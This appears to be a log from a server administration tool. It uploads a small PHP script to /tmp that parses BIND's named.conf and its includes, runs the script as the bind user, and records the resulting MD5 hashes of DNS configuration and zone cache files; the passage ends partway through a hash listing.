	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:39:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp716914; rm /tmp/pkp716914'

2026-04-25 10:39:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:39:36: Establishing a connection
2026-04-25 10:39:37: 

PUT: /tmp/pkp429421

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:39:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp429421; rm /tmp/pkp429421'

2026-04-25 10:39:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
